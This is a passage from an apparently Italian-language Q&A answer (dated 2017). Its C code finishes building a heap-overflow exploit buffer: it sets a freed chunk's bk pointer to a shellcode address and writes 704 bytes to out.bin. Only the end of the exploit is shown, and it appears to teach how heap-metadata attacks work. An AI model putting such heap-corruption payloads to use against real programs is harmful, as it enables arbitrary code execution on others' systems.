        p += 8;
        /* the bk field of the second chunk. It should point to shell code address.*/
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 8;

        FILE *write_ptr;

        write_ptr = fopen("out.bin","wb");  // w for write, b for binary

        fwrite(argv1,sizeof(char),704,write_ptr); 
        return( -1 );
}
    
risposta data 21.02.2017 - 23:53
fonte

Leggi altre domande sui tag